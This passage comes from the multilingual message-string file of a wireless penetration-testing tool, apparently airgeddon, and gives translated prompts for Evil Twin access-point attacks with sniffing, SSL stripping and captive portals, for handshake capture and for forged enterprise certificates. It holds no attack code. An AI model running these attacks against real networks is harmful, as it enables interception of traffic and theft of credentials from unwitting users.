wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" arr["ITALIAN",281]="L'interfaccia \${current_iface_on_messages} che hai scelto non è una scheda wifi. Per questo attacco è necessario che l'interfaccia selezionata sia wifi" arr["POLISH",281]="Interfejs \${current_iface_on_messages}, który wybrałeś, nie jest kartą wifi. Ten atak wymaga wybrania interfejsu wifi" arr["GERMAN",281]="Das von Ihnen ausgewählte \${current_iface_on_messages} Interface ist keine WLAN-Karte. Dieser Angriff erfordert, dass das ausgewählte Interface WLAN-fähig ist" arr["TURKISH",281]="Seçmiş olduğunuz arayüz \${current_iface_on_messages} bir wifi kartı değildir. Bu saldırı bir wifi kartı gerektirir" arr["ARABIC",281]="wifi التي اخترتها ليست بطاقة واي فاي. يحتاج هذا الهجوم إلى تحديد بطاقة \${current_iface_on_messages} واجهة" arr["CHINESE",281]="您已经选择的接口 \${current_iface_on_messages} 不是 wifi 网卡。此攻击需要选择 wifi 网卡" arr["ENGLISH",282]="Selected internet interface: \${pink_color}\${internet_interface}\${normal_color}" arr["SPANISH",282]="Interfaz con internet seleccionada: \${pink_color}\${internet_interface}\${normal_color}" arr["FRENCH",282]="Interface internet sélectionnée: \${pink_color}\${internet_interface}\${normal_color}" arr["CATALAN",282]="Interfície amb internet seleccionada: \${pink_color}\${internet_interface}\${normal_color}" arr["PORTUGUESE",282]="Interface com internet selecionada: \${pink_color}\${internet_interface}\${normal_color}" arr["RUSSIAN",282]="Выбранный Интернет интерфейс: \${pink_color}\${internet_interface}\${normal_color}" arr["GREEK",282]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: \${pink_color}\${internet_interface}\${normal_color}" arr["ITALIAN",282]="Interfaccia internet selezionata: \${pink_color}\${internet_interface}\${normal_color}" arr["POLISH",282]="Wybrany interfejs z internetem: \${pink_color}\${internet_interface}\${normal_color}" arr["GERMAN",282]="Ausgewähltes Internet-Interface: \${pink_color}\${internet_interface}\${normal_color}" arr["TURKISH",282]="Seçilen internet arayüzü: \${pink_color}\${internet_interface}\${normal_color}" arr["ARABIC",282]="\${pink_color}\${internet_interface}\${blue_color} :واجهة إنترنت المختارة\${normal_color}" arr["CHINESE",282]="选定的互联网接口: \${pink_color}\${internet_interface}\${normal_color}" arr["ENGLISH",283]="Selected internet interface: \${pink_color}None\${normal_color}" arr["SPANISH",283]="Interfaz con internet seleccionada: \${pink_color}Ninguna\${normal_color}" arr["FRENCH",283]="Interface internet sélectionnée: \${pink_color}Aucun\${normal_color}" arr["CATALAN",283]="Interfície amb internet seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",283]="Interface com internet selecionada: \${pink_color}Nenhuma\${normal_color}" arr["RUSSIAN",283]="Выбранный Интернет интерфейс: \${pink_color}Нет\${normal_color}" arr["GREEK",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: \${pink_color}Καμία\${normal_color}" arr["ITALIAN",283]="Interfaccia internet selezionata: \${pink_color}Nessuna\${normal_color}" arr["POLISH",283]="Wybrany interfejs z internetem: \${pink_color}Brak\${normal_color}" arr["GERMAN",283]="Ausgewähltes Internet-Interface: \${pink_color}Keine\${normal_color}" arr["TURKISH",283]="Seçilen internet arayüzü: \${pink_color}None\${normal_color}" arr["ARABIC",283]="\${pink_color}لا\${blue_color} :واجهة إنترنت المختارة\${normal_color}" arr["CHINESE",283]="选定的互联网接口: \${pink_color}None\${normal_color}" arr["ENGLISH",284]="Do you want to use this selected interface? \${normal_color}\${visual_choice}" arr["SPANISH",284]="¿Quieres utilizar esta interfaz ya seleccionada? \${normal_color}\${visual_choice}" arr["FRENCH",284]="Souhaitez-vous utiliser l'interface déjà sélectionnée? \${normal_color}\${visual_choice}" arr["CATALAN",284]="¿Vols fer servir aquesta interfície ja seleccionada? \${normal_color}\${visual_choice}" arr["PORTUGUESE",284]="Você quer usar essa interface selecionada? \${normal_color}\${visual_choice}" arr["RUSSIAN",284]="Вы хотите использовать этот выбранный интерфейс? \${normal_color}\${visual_choice}" arr["GREEK",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή; \${normal_color}\${visual_choice}" arr["ITALIAN",284]="Vuoi usare questa interfaccia già selezionata? \${normal_color}\${visual_choice}" arr["POLISH",284]="Czy chcesz skorzystać z tego interfejsu? \${normal_color}\${visual_choice}" arr["GERMAN",284]="Möchten Sie dieses ausgewählte Interface verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",284]="Seçilmiş olan arayüzü kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",284]="\${normal_color}\${visual_choice}\${green_color} هل تريد استخدام هذه الواجهة المختارة؟\${normal_color}" arr["CHINESE",284]="您想使用这个选定的接口吗?\${normal_color}\${visual_choice}" arr["ENGLISH",285]="Selected interface with internet access detected during this session [\${normal_color}\${internet_interface}\${blue_color}]" arr["SPANISH",285]="Se ha detectado que ya tiene un interfaz con acceso a internet seleccionada en esta sesión [\${normal_color}\${internet_interface}\${blue_color}]" arr["FRENCH",285]="Une interface avec accès à internet a déjà été sélectionné pour cette session [\${normal_color}\${internet_interface}\${blue_color}]" arr["CATALAN",285]="S'ha detectat que ja té una interfície amb accés a internet seleccionada en aquesta sessió [\${normal_color}\${internet_interface}\${blue_color}]" arr["PORTUGUESE",285]="Verificou-se que há uma interface com acesso à internet selecionada nesta sessão [\${normal_color}\${internet_interface}\${blue_color}]" arr["RUSSIAN",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением [\${normal_color}\${internet_interface}\${blue_color}]" arr["GREEK",285]="Η επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο εντοπίστηκε κατά τη διάρκεια της συνεδρίας [\${normal_color}\${internet_interface}\${blue_color}]" arr["ITALIAN",285]="E' stato riscontrato che ha già un'interfaccia con accesso a internet selezionata in questa sessione [\${normal_color}\${internet_interface}\${blue_color}]" arr["POLISH",285]="Wykryto, że w tej sesji masz już wybrany interfejs z dostępem do internetu [\${normal_color}\${internet_interface}\${blue_color}]" arr["GERMAN",285]="Es wurde festgestellt, dass Sie bereits ein Interface mit Internetzugang ausgewählt haben [\${normal_color}\${internet_interface}\${blue_color}]" arr["TURKISH",285]="Bu oturum sırasında seçilen arayüz internet erişimi ile tespit edildi [\${normal_color}\${internet_interface}\${blue_color}]" arr["ARABIC",285]="[\${normal_color}\${internet_interface}\${blue_color}] تم اكتشاف واجهة محددة موصولة بالإنترنت أثناء هذه الدورة" arr["CHINESE",285]="在此会话期间检测到具有互联网访问的网络接口 [\${normal_color}\${internet_interface}\${blue_color}]" arr["ENGLISH",286]="If you don't have a captured Handshake file from the target network you can get it now" arr["SPANISH",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" arr["FRENCH",286]="Si vous n'avez pas un fichier de capture contenant un Handshake du réseau cible vous pouvez l'obtenir maintenant" arr["CATALAN",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-ho ara" arr["PORTUGUESE",286]="Se você não tem um arquivo de Handshake da rede alvo você pode capturar agora" arr["RUSSIAN",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" arr["GREEK",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["ITALIAN",286]="Se non hai catturato un file di Handshake dalla rete obiettivo puoi ottenerlo ora" arr["POLISH",286]="Jeśli nie masz pliku Handshake przechwyconego w sieci docelowej, możesz go teraz zdobyć" arr["GERMAN",286]="Wenn Sie keine Handshake-Datei vom Zielnetzwerk erhalten haben, können Sie sie jetzt abrufen" arr["TURKISH",286]="Eğer hedef ağ için henüz yakalanmış bir Handshake dosyanız yoksa hemen şimdi yakalayabilirsiniz" arr["ARABIC",286]="تم التقاطه من الشبكة المستهدفة ، يمكنك الحصول عليه الآن Handshake إذا لم يكن لديك ملف" arr["CHINESE",286]="如果您还没有从目标网络捕获握手包文件,那么您现在可以获取它" arr["ENGLISH",287]="The script will check for internet access. Please be patient..." arr["SPANISH",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." arr["FRENCH",287]="Le script va vérifier que vous aillez accès à internet. Soyez patients s'il vous plaît..." arr["CATALAN",287]="El script comprovarà si tens accés a internet. Si us plau sigues pacient..." arr["PORTUGUESE",287]="O script irá verificar se você tem acesso à internet. Por favor, aguarde..." arr["RUSSIAN",287]="Этот скрипт проверит доступ к Интернету. Подождите немного..." arr["GREEK",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",287]="Lo script controllerà se si ha accesso a internet. Si prega di essere pazienti..." arr["POLISH",287]="Skrypt sprawdzi, czy masz dostęp do internetu. Bądź cierpliwy..." arr["GERMAN",287]="Das Skript überprüft, ob Sie Internetzugang. Bitte haben Sie etwas Geduld..." arr["TURKISH",287]="Yazılım internet erişimin, kontrol edecek. Lütfen sabırlı olun..." arr["ARABIC",287]="...سيتحقق البرنامج من الوصول إلى الإنترنت. يرجى التحلي بالصبر" arr["CHINESE",287]="该脚本将检查互联网访问。请耐心等待..." arr["ENGLISH",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["SPANISH",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" arr["FRENCH",288]="Il semble que vous ne pouvez pas vous connecter à internet. Cette attaque a besoin d'une interface avec u accès internet" arr["CATALAN",288]="Sembla que no tens connexió a internet. Aquest atac necessita una interfície amb accés a internet" arr["PORTUGUESE",288]="Parece que você não tem acesso à internet. Este ataque precisa de uma interface com acesso à internet" arr["RUSSIAN",288]="Судя по всему, у вас нет доступа к Интернету. Эта атака требует интерфейс с Интернет доступом" arr["GREEK",288]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Αυτή η επίθεση χρειάζεται μία διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",288]="Sembra che tu non abbia alcuna connessione a internet. Questo attacco ha bisogno di un'interfaccia con connessione a internet" arr["POLISH",288]="Wygląda na to, że nie masz połączenia internetowego. Ten atak wymaga interfejsu z dostępem do internetu" arr["GERMAN",288]="Es scheint, dass Sie keine Internetverbindung haben. Dieser Angriff benötigt ein Interface mit Internetzugang" arr["TURKISH",288]="İnternet erişiminiz yok gibi görünüyor. Bu saldırı internet erişimi olan bir arayüze ihtiyaç duyuyor" arr["ARABIC",288]="يبدو أنه ليس لديك اتصال بالإنترنت. يحتاج هذا الهجوم إلى واجهة متصلة بالإنترنت" arr["CHINESE",288]="您似乎无法访问互联网。这种攻击需要一个可以访问互联网的网络接口" arr["ENGLISH",289]="It has been verified successfully you have internet access on selected interface. Script can continue..." arr["SPANISH",289]="Se ha verificado correctamente que tienes acceso a internet en la interfaz seleccionada. El script puede continuar..." arr["FRENCH",289]="Confirmation de l'accès internet pour l'interface réseaux choisie. Le script peut continuer..." arr["CATALAN",289]="S'ha verificat correctament que tens accés a internet a la interfície seleccionada. El script pot continuar..." arr["PORTUGUESE",289]="Verificou-se com sucesso que você tem acesso à internet na interface selecionada. O script pode continuar..." arr["RUSSIAN",289]="Проверка доступа к Интернету прошла успешно на выбранном интерфейс. Скрипт может продолжать..." arr["GREEK",289]="Επαληθεύτηκε επιτυχώς πως έχετε πρόσβαση στο διαδίκτυο με την επιλεγμένη διεπαφή. Το script μπορεί να συνεχίσει..." arr["ITALIAN",289]="E' stato verificato con successo che si ha accesso a internet sull'interfaccia selezionata. Lo script può continuare ..." arr["POLISH",289]="Udało się potwierdzić, że masz dostęp do internet w wybranym interfejsie. Skrypt może kontynuować..." arr["GERMAN",289]="Es wurde korrekt überprüft, dass Sie in der ausgewählten Interface Zugriff auf das Internet haben. Das Skript kann fortfahren..." arr["TURKISH",289]="Başarılı bir şekilde doğrulandı ve seçilen arayüzde internet erişiminiz var. Yazılım devam edebilir..." arr["ARABIC",289]="...تم التحقق بنجاح من أن لديك إمكانية الوصول إلى الإنترنت على الواجهة المحددة. البرنامج يمكن أن يستمر" arr["CHINESE",289]="已成功验证您可以在所选接口上访问互联网。脚本可以继续..." arr["ENGLISH",290]="It seems you have internet access but not in the selected interface acting as interface with internet access" arr["SPANISH",290]="Parece que tienes conexión a internet pero no en la interfaz seleccionada como interfaz con acceso a internet" arr["FRENCH",290]="Il semble bien que vous avez accès à internet mais pas avec l'interface sélectionnée à cet effet" arr["CATALAN",290]="Sembla que tens connexió a internet però no en la interfície seleccionada com a interfície amb accés a internet" arr["PORTUGUESE",290]="Parece que você tem internet, mas não na interface selecionada" arr["RUSSIAN",290]="Судя по всему у вас есть доступ к Интернету, но не на выбранном для Интернет доступа интерфейсе" arr["GREEK",290]="Φαίνεται πως έχετε πρόσβαση στο διαδίκτυο αλλά όχι στην επιλεγμένη διεπαφή που ενεργεί ως διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",290]="Sembra che hai connessione a internet ma non nell'interfaccia selezionata come interfaccia con accesso ad internet" arr["POLISH",290]="Wydaje się, że masz połączenie z internetem ale w innym interfejsie" arr["GERMAN",290]="Es scheint, dass Sie eine Internetverbindung haben, aber nicht in das mit Internetzugang gewählte Interface" arr["TURKISH",290]="İnternet erişiminiz var gibi görünüyor fakat seçilen arayüz internet erişimi var gibi dvranmıyor" arr["ARABIC",290]="يبدو أن لديك اتصال بالإنترنت ولكن ليس بالواجهة المحددة لهذا الغرض" arr["CHINESE",290]="您似乎可以访问互联网,但选定接口中似乎无法访问" arr["ENGLISH",291]="Evil Twin AP attack with sniffing" arr["SPANISH",291]="Ataque Evil Twin AP con sniffing" arr["FRENCH",291]="Attaque Evil Twin avec capture de données" arr["CATALAN",291]="Atac Evil Twin AP amb sniffing" arr["PORTUGUESE",291]="Ataque Evil Twin AP com sniffing" arr["RUSSIAN",291]="Атака Злой Двойник ТД со сниффингом" arr["GREEK",291]="Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",291]="Attacco Evil Twin AP con sniffing" arr["POLISH",291]="Atak Evil Twin AP ze sniffingiem" arr["GERMAN",291]="Evil Twin AP Angriff mit Sniffing" arr["TURKISH",291]="Şeytani İkiz AP saldırısı sniffing ile" arr["ARABIC",291]="مع الشم Evil Twin هجوم" arr["CHINESE",291]="邪恶双胞胎 AP 攻击与嗅探" arr["ENGLISH",292]="Evil Twin AP attack with sniffing and bettercap-sslstrip2" arr["SPANISH",292]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2" arr["FRENCH",292]="Attaque Evil Twin avec capture de données et bettercap-sslstrip2" arr["CATALAN",292]="Atac Evil Twin AP amb sniffing i bettercap-sslstrip2" arr["PORTUGUESE",292]="Ataque Evil Twin AP com sniffing e bettercap-sslstrip2" arr["RUSSIAN",292]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2" arr["GREEK",292]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2" arr["ITALIAN",292]="Attacco Evil Twin AP con sniffing e bettercap-sslstrip2" arr["POLISH",292]="Atak Evil Twin AP ze sniffingiem i bettercap-sslstrip2" arr["GERMAN",292]="Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2" arr["TURKISH",292]="Şeytani İkiz AP saldırısı sniffing ve bettercap-sslstrip2 ile" arr["ARABIC",292]="bettercap-sslstrip2 مع الشم و Evil Twin AP هجوم" arr["CHINESE",292]="带有嗅探和 bettercap-sslstrip2 的邪恶双胞胎 AP 攻击" arr["ENGLISH",293]="Evil Twin AP attack with captive portal" arr["SPANISH",293]="Ataque Evil Twin AP con portal cautivo" arr["FRENCH",293]="Attaque Evil Twin avec portail captif" arr["CATALAN",293]="Atac Evil Twin AP amb portal captiu" arr["PORTUGUESE",293]="Ataque Evil Twin AP com portal cativo" arr["RUSSIAN",293]="Атака Злой Двойник ТД с перехватывающим порталом" arr["GREEK",293]="Επίθεση Evil Twin AP με captive portal" arr["ITALIAN",293]="Attacco Evil Twin AP con captive portal" arr["POLISH",293]="Atak Evil Twin AP z portalem captive" arr["GERMAN",293]="Evil Twin AP Angriff mit Captive Portal" arr["TURKISH",293]="Şeytani İkiz AP saldırısı esaret portalı ile" arr["ARABIC",293]="مع بوابة أسيرة Evil Twin AP هجوم" arr["CHINESE",293]="邪恶双胞胎 AP 攻击与俘虏门户" arr["ENGLISH",294]="Detecting resolution... Detected!: \${normal_color}\${resolution}" arr["SPANISH",294]="Detectando resolución... Detectada!: \${normal_color}\${resolution}" arr["FRENCH",294]="Détection de la résolution... Détectée!: \${normal_color}\${resolution}" arr["CATALAN",294]="Detectant resolució... Detectada!: \${normal_color}\${resolution}" arr["PORTUGUESE",294]="Detectando resolução... Detectada!: \${normal_color}\${resolution}" arr["RUSSIAN",294]="Определение разрешения... Определено!: \${normal_color}\${resolution}" arr["GREEK",294]="Εντοπίζεται η ανάλυση... Εντοπίστηκε!: \${normal_color}\${resolution}" arr["ITALIAN",294]="Rilevamento risoluzione... Rilevata!: \${normal_color}\${resolution}" arr["POLISH",294]="Wykrywanie rozdzielczości... Wykryto!: \${normal_color}\${resolution}" arr["GERMAN",294]="Auflösung erkennen... Erkannt!: \${normal_color}\${resolution}" arr["TURKISH",294]="Çözünürlük tespit ediliyor... Tamamdır!: \${normal_color}\${resolution}" arr["ARABIC",294]="\${normal_color}\${resolution}\${blue_color} :!جاري الكشف عن درجة الوضوح... تم الكشف\${normal_color}" arr["CHINESE",294]="正在检测分辨率...检测到!: \${normal_color}\${resolution}" arr["ENGLISH",295]="Detecting resolution... Can't be detected!, using standard: \${normal_color}\${resolution}" arr["SPANISH",295]="Detectando resolución... No se ha podido detectar!, usando estándar: \${normal_color}\${resolution}" arr["FRENCH",295]="Détection de la résolution... Impossible à détecter!, utilisation de la résolution: \${normal_color}\${resolution}" arr["CATALAN",295]="Detectant resolució... No s'ha pogut detectar!, usant estàndard: \${normal_color}\${resolution}" arr["PORTUGUESE",295]="Detectando resolução... Não foi possível detectar!, usando o padrão: \${normal_color}\${resolution}" arr["RUSSIAN",295]="Определение разрешения... Не получается определить!, используется стандартное: \${normal_color}\${resolution}" arr["GREEK",295]="Εντοπίζεται η ανάλυση... Δεν μπορεί να εντοπιστεί!, χρησιμοποιείται η προεπιλεγμένη: \${normal_color}\${resolution}" arr["ITALIAN",295]="Rilevamento risoluzione... Non è stato possible rilevarla!, usando quella standard: \${normal_color}\${resolution}" arr["POLISH",295]="Wykrywanie rozdzielczości... Nie można wykryć! użycie standardu: \${normal_color}\${resolution}" arr["GERMAN",295]="Erkennen der Auflösung... Die Auflösung konnte nicht erkannt werden!, Standardauflösung: \${normal_color}\${resolution}" arr["TURKISH",295]="Çözünürlük tespit ediliyor... Başarısız!, standart olarak devam edilecek: \${normal_color}\${resolution}" arr["ARABIC",295]="\${normal_color}\${resolution}\${blue_color} :!جاري الكشف عن درجة الوضوح... تم الكشف\${normal_color}" arr["CHINESE",295]="正在检测分辨率...无法检测!,使用标准分辨率: \${normal_color}\${resolution}" arr["ENGLISH",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press [Enter] on this window and the script will automatically close them all" arr["SPANISH",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa [Enter] en esta ventana y el script cerrará automáticamente todo" arr["FRENCH",296]="Tous les paramètres de l'attaque sont prêts et elle peut comenmcer. Plusieurs consoles vont s'ouvrir, ne les fermez pas. Lorsque vous voulez arrêter l'attaque, appuyez sur [Enter] dans cette console et le script fermera automatiquement les autres" arr["CATALAN",296]="Tots els paràmetres i requeriments estan preparats. Començarà l'atac. S'obriran múltiples finestres, no tanquis cap. Quan vulguis parar l'atac prem [Enter] en aquesta finestra i el script tancarà automàticament tot" arr["PORTUGUESE",296]="Todos os parâmetros e requisitos estão prontos. Você vai começar o ataque. Várias janelas iram se abrir, não feche nenhuma delas. Quando quiser parar o ataque pressione [Enter] nesta janela e o script irá fechar automaticamente" arr["RUSSIAN",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте их. Когда вы захотите остановить атаку, нажмите [Enter] в этом окне и скрипт автоматически их все закроет" arr["GREEK",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε [Enter] σε αυτό το παράθυρο και το script θα τα κλείσει όλα" arr["ITALIAN",296]="Tutti i parametri e i requisiti sono pronti. Si inizierà l'attacco. Si apriranno varie finestre, non chiuderne nessuna. Quando vuoi fermare l'attacco premi [Enter] in questa finestra e lo script chiuderá automaticamente tutto" arr["POLISH",296]="Wszystkie parametry i wymagania są gotowe. Atak może się rozpocząć. Otwarte zostanie wiele okien, nie zamykaj żadnego. Aby zatrzymać atak, wciśnij [Enter] w tym oknie, a skrypt automatycznie zamknie wszystkie" arr["GERMAN",296]="Alle Parameter und Anforderungen sind bereit. Der Angriff wird beginnen. Mehrere Fenster werden geöffnet, schließen Sie keines. Wenn Sie den Angriff stoppen möchten, drücken Sie [Enter] in diesem Fenster und das Skript wird automatisch alle schließen" arr["TURKISH",296]="Tüm parametreler ayarlandı. Saldırı başlayacak. Birden fazla pencere açılacak, bunların hiçbirini kapatmayın. Saldırıyı durdurmak istediğiniz zaman aman pencereden [Enter] tuşlamanız yeterli. Yazılım tüm pencereleri kapatacaktır" arr["ARABIC",296]="جميع معايير الهجوم جاهزة ويمكن أن تبدأ. سيتم فتح العديد من لوحات المفاتيح ، لا تغلقها. عندما تريد إيقاف الهجوم ، اضغط على [Enter] في وحدة التحكم هذه وسيغلق البرنامج البرامج الأخرى تلقائيًا" arr["CHINESE",296]="所有参数和要求都已设置。攻击即将开始。将打开多个窗口,不要关闭任何窗口。当你想停止攻击时,在此窗口上按 [Enter],脚本将自动将它们全部关闭" arr["ENGLISH",297]="Cleaning nftables/iptables and routing rules if apply" arr["SPANISH",297]="Limpiando nftables/iptables y reglas de routing si procede" arr["FRENCH",297]="En rangeant des règles de routage nftables/iptables s'il y a lieu" arr["CATALAN",297]="Netejant nftables/iptables i regles de routing si escau" arr["PORTUGUESE",297]="Limpando as regras do nftables/iptables e de roteamento, se aplicável" arr["RUSSIAN",297]="Очистка nftables/iptables и правил маршрутизации если применимо" arr["GREEK",297]="Γίνεται καθαρισμός των nftables/iptables και των routing rules εάν υπάρχουν" arr["ITALIAN",297]="Pulendo nftables/iptables e le regole di routing se necessario" arr["POLISH",297]="Usuwanie nftables/iptables i reguł routingu jeśli istnieją" arr["GERMAN",297]="Bereinigung von nftables/iptables und Routing-Regeln falls zutreffend" arr["TURKISH",297]="nftables/iptables ve routing rules varsa temizleniyor" arr["ARABIC",297]="وقواعد التوجيه إذا لزم nftables/iptables تنظيف" arr["CHINESE",297]="清理 nftables/iptables 路由规则 (如果适用)" arr["ENGLISH",298]="Evil Twin attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",298]="El ataque Evil Twin ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" arr["FRENCH",298]="L'attaque Evil Twin a commencé. Pressez la touche [Enter] dans cette console pour l'arrêter" arr["CATALAN",298]="L'atac Evil Twin ha començat. Prem [Enter] a aquesta finestra per aturar-lo" arr["PORTUGUESE",298]="Ataque Evil Twin iniciado. Pressione a tecla [Enter] nesta janela para parar" arr["RUSSIAN",298]="Атака Злой Двойник начата. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",298]="L'attacco Evil Twin è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" arr["POLISH",298]="Rozpoczął się atak Evil Twin. Naciśnij klawisz [Enter] w tym oknie, aby go zatrzymać" arr["GERMAN",298]="Der Evil-Twin-Angriff hat begonnen. Drücken Sie die [Enter]-Taste in diesem Fenster, um es zu stoppen" arr["TURKISH",298]="Şeytani İkiz saldırısı başlatıldı. Durdurmak için bu pencerede [Enter] tuşlayınız" arr["ARABIC",298]="في هذه النافذة لإيقافه [Enter] اضغط على مفتاح .Evil Twin بدأ هجوم" arr["CHINESE",298]="邪恶双胞胎攻击已经开始。在此窗口中按 [Enter] 键停止它" arr["ENGLISH",299]="Restoring interface..." arr["SPANISH",299]="Restaurando interfaz..." arr["FRENCH",299]="Réinitialisation de l'interface..." arr["CATALAN",299]="Restablint interfície..." arr["PORTUGUESE",299]="Restaurando interface..." arr["RUSSIAN",299]="Восстановление интерфейса..." arr["GREEK",299]="Γίνεται επαναφορά διεπαφής..." arr["ITALIAN",299]="Ripristinando interfaccia..." arr["POLISH",299]="Przywracanie interfejsu..." arr["GERMAN",299]="Interface wiederherstellen..." arr["TURKISH",299]="Arayüz onarılıyor..." arr["ARABIC",299]="...إعادة تعيين الواجهة" arr["CHINESE",299]="正在恢复接口..." arr["ENGLISH",300]="If the xdpyinfo command works, the script will be able to calculate your screen resolution and display the windows in a better way. Depending on the system, the package name containing it could be x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["SPANISH",300]="Si haces que funcione en tu sistema el comando xdpyinfo, el script podrá calcular tu resolución de pantalla y mostrarte las ventanas de forma más optimizada. Dependiendo del sistema el paquete que lo contiene puede llamarse x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["FRENCH",300]="Si la commande xdpyinfo est installée dans vôtre système le script pourra calculer votre résolution d'écran et optimiser l'affichage en conséquence. Le paquet à installer pour avoir cette commande s'appelle (selon la distribution) x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["CATALAN",300]="Si fas que funcioni en el teu sistema l'ordre xdpyinfo, el script podrà calcular la teua resolució de pantalla i mostrar-te les finestres de forma més optimitzada. Depenent del sistema el paquet que el conté pot dir-se x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["PORTUGUESE",300]="Se o comando xdpyinfo funcionar em seu sistema o script será capaz de calcular a resolução da tela e mostrar-lhe as janelas de uma maneira melhor. Dependendo do sistema, o nome do pacote pode ser: x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["RUSSIAN",300]="Команда xdpyinfo поможет этому скрипту определить разрешение вашего экрана и выбрать наилучшее отображение окон. В зависимости от системы, имя пакета, в котором содержится эта программа, может быть x11-utils, xdpyinfo, xorg-xdpyinfo, и т.д." arr["GREEK",300]="Αν δουλέψει η εντολή xdpyinfo, το script θα μπορέσει να υπολογίσει την ανάλυση της οθόνης και να δείχνει τα παράθυρα καλύτερα. Εξαρτάται από το σύστημα, το όνομα του πακέτου που το περιέχει θα μπορούσε να είναι x11-utils, xdpyinfo, xorg-xdpyinfo, κτλπ." arr["ITALIAN",300]="Se funziona il comando xdpyinfo, lo script calcolerà la risoluzione dello schermo e mostrerá le finestre in modo ottimizzato. A seconda del sistema il pacchetto che lo contiene può chiamarsi x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["POLISH",300]="Jeśli polecenie xdpyinfo działa w systemie, skrypt będzie mógł obliczyć rozdzielczość ekranu i lepiej wyświetlać okna. W zależności od systemu pakiet zawierający go może być nazwany x11-utils, xdpyinfo, xorg-xdpyinfo, itd." arr["GERMAN",300]="Wenn Sie den Befehl xdpyinfo in Ihrem System verwenden, kann das Skript Ihre Bildschirmauflösung berechnen und Ihnen die Fenster in einer optimierten Weise zeigen. Je nach System kann das Paket, das es enthält, x11-utils, xdpyinfo, xorg-xdpyinfo usw. genannt werden" arr["TURKISH",300]="Eğer xdpyinfo komutu çalışırsa, yazılım ekran çözünürlüğünüzü hesaplayabilecek ve en iyi boyutlardaki pencereler ile çalışacak. Paket isimleri sisteminize göre x11-utils, xdpyinfo, xorg-xdpyinfo, vb... olarak değişiklik gösterebilir" arr["ARABIC",300]=".وما إلى ذلك xorg-xdpyinfo و xdpyinfo و x11-utils يعمل ، فسيكون البرنامج قادرًا على حساب دقة الشاشة وعرض النوافذ بطريقة أفضل. اعتمادًا على النظام ، يمكن أن يكون اسم الحزمة الذي يحتوي عليه هو xdpyinfo إذا كان الأمر" arr["CHINESE",300]="如果 xdpyinfo 命令有效,则该脚本将能够计算您的屏幕分辨率并以更好的方式显示窗口。根据系统的不同,包含它的包名称可能是 x11-utils、xdpyinfo、xorg-xdpyinfo 等。" arr["ENGLISH",301]="For enterprise attacks, if you already have the legitimate certificates of the target network and the password, you can use them. If you don't have them, you can use airgeddon to generate some certificates with the same data and use them to make the attack more credible" arr["SPANISH",301]="Para los ataques enterprise, si tienes los certificados legítimos de la red objetivo y su contraseña, podrás utilizarlos. Si no los tienes, puedes generar con airgeddon unos certificados con los mismos datos y utilizarlos para que el ataque sea más creíble" arr["FRENCH",301]="Pour les attaques d'entreprise, si vous disposez des certificats légitimes du réseau objetive et de le mot de passe, vous pouvez les utiliser. Si vous ne les avez pas, vous pouvez générer avec airgeddon des certificats avec les mêmes données et les utiliser pour que l'attaque soit plus crédible" arr["CATALAN",301]="Per als atacs enterprise, si tens els certificats legítims de la xarxa objectiu i la contrasenya, podràs utilitzar-los. Si no els tens, pots generar amb airgeddon uns certificats amb les mateixes dades i utilitzar-los per que l'atac sigui més creïble" arr["PORTUGUESE",301]="Para ataques corporativos, se você tiver os certificados legítimos da rede e sua senha, poderá usá-los. Se você não tiver, pode gerar os certificados com airgeddon usando os mesmos dados tornando o ataque mais confiável" arr["RUSSIAN",301]="Для enterprise атак, если у вас есть действительные сертификаты целевой сети и пароль для них, вы можете использовать их. Если у вас их нет, вы можете создать сертификаты с помощью airgeddon с такими же данными и использовать их для повышения доверия у жертвы" 